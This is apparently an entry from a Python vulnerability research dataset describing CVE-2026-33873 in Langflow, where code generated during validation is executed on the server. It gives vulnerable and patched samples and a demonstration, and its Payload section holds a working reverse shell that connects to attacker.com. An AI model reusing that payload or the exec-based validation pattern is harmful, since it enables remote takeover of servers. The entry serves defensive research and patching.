CVE-2026-33873
Langflow Agentic Assistant allows RCE via LLM-generated Python code.
- CVSS 9.3
- CWE-94
- Design Defects
- Remote
Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.
- CWE
- CWE-94
- CVSS base score
- 9.3
- Published
- 2026-03-27
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Langflow
- Fixed by upgrading
- Yes
Solution
Upgrade Langflow to version 1.9.0 or later.
Vulnerable code sample
import sys
import importlib.util
class AgenticAssistantService:
"""
This class simulates the vulnerable service in Langflow before version 1.9.0.
It contains a method that unsafely validates LLM-generated code.
"""
def _validate_code(self, code: str, class_name: str) -> bool:
"""
This method contains the vulnerability. It executes the provided
Python code string to "validate" it by attempting to instantiate
the class it defines.
"""
module_name = "temp_validation_module"
try:
# Create a spec for a new module.
spec = importlib.util.spec_from_loader(module_name, loader=None)
if spec is None:
return False
module = importlib.util.module_from_spec(spec)
# Add the new module to sys.modules to make it importable.
sys.modules[module_name] = module
# VULNERABILITY: The LLM-generated code is executed here.
# An attacker can craft this 'code' string to include malicious
# Python code.
exec(code, module.__dict__)
# Get the class defined by the executed code.
component_class = getattr(module, class_name)
# VULNERABILITY: Instantiating the class triggers its __init__
# method, which can contain the attacker's payload.
component_class()
return True
except Exception:
return False
finally:
# Clean up by removing the temporary module.
if module_name in sys.modules:
del sys.modules[module_name]
def process_agent_output(self, llm_generated_code: str, component_class_name: str):
"""
Simulates the entry point where the Langflow agent receives code
from an LLM and attempts to validate it before use.
"""
# The service calls the vulnerable validation method.
is_valid = self._validate_code(llm_generated_code, component_class_name)
if is_valid:
# In a real scenario, the service would proceed to use the component.
pass
else:
# Handle invalid code.
passPatched code sample
import ast
import os
# This file demonstrates a safe way to validate Python code, representing
# the fix for CVE-2026-33873. The vulnerability stemmed from executing
# LLM-generated code during a validation step. The fix is to validate
# the code's syntax without executing it.
def validate_code_safely(code_string: str) -> bool:
"""
Validates Python code by parsing it into an Abstract Syntax Tree (AST).
This method is safe as it only checks for syntactic validity and does
not execute any part of the code, thus preventing remote code execution.
This represents the fixed approach.
Args:
code_string: A string containing Python code to validate.
Returns:
True if the code is syntactically valid Python, False otherwise.
"""
try:
ast.parse(code_string)
return True
except SyntaxError as e:
print(f"Code validation failed with a syntax error: {e}")
return False
def validate_code_vulnerable(code_string: str) -> bool:
"""
-- VULNERABLE IMPLEMENTATION (FOR DEMONSTRATION ONLY) --
This function "validates" code by executing it, which is the root cause
of the vulnerability. An attacker can provide malicious code that will
be run on the server.
"""
print("Executing code in a vulnerable manner...")
try:
# DANGER: exec() runs the untrusted code from the LLM.
# The CVE describes a scenario where generated classes were instantiated,
# leading to the execution of code within their __init__ methods.
exec(code_string, {})
return True
except Exception as e:
print(f"Code execution failed: {e}")
return False
if __name__ == '__main__':
# This malicious payload would be generated by an attacker-influenced LLM.
# It creates a file named 'pwned.txt' on the server.
malicious_code = """
import os
print("--- Malicious code is executing ---")
class MaliciousAgent:
def __init__(self):
# This code runs when the class is instantiated,
# which happened during the vulnerable validation phase.
print("--- Exploiting vulnerability: writing to a file. ---")
with open("pwned.txt", "w") as f:
f.write("This server has been compromised by CVE-2026-33873 exploit.")
# Instantiating the class triggers the malicious __init__ method.
MaliciousAgent()
"""
print("--- 1. Demonstrating the VULNERABLE validation method ---")
if os.path.exists("pwned.txt"):
os.remove("pwned.txt")
result_vulnerable = validate_code_vulnerable(malicious_code)
print(f"Vulnerable validation result: {result_vulnerable}")
if os.path.exists("pwned.txt"):
print("VULNERABILITY CONFIRMED: 'pwned.txt' was created by the validation function.\n")
os.remove("pwned.txt")
else:
print("Vulnerability could not be confirmed (this should not happen with the vulnerable function).\n")
print("-" * 50)
print("\n--- 2. Demonstrating the FIXED validation method ---")
if os.path.exists("pwned.txt"):
os.remove("pwned.txt")
# The safe function is called. It will parse the code but not execute it.
result_fixed = validate_code_safely(malicious_code)
print(f"Safe validation result: {result_fixed}")
if os.path.exists("pwned.txt"):
print("FIX FAILED: 'pwned.txt' was created. The fix is not working.")
os.remove("pwned.txt")
else:
print("FIX CONFIRMED: 'pwned.txt' was NOT created. The code was validated without being executed.")
print("\n--- 3. Demonstrating the FIXED method with invalid syntax ---")
invalid_code = "class MyAgent: def __init__(self) print('invalid')"
result_invalid = validate_code_safely(invalid_code)
print(f"Safe validation result for invalid code: {result_invalid}")Payload
import os
import socket
import subprocess
class MaliciousComponent:
def __init__(self, **kwargs):
# Reverse shell payload
RHOST = 'attacker.com'
RPORT = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(['/bin/sh', '-i'])
Cite this entry
@misc{vaitp:cve202633873,
title = {{Langflow Agentic Assistant allows RCE via LLM-generated Python code.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-33873},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33873/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
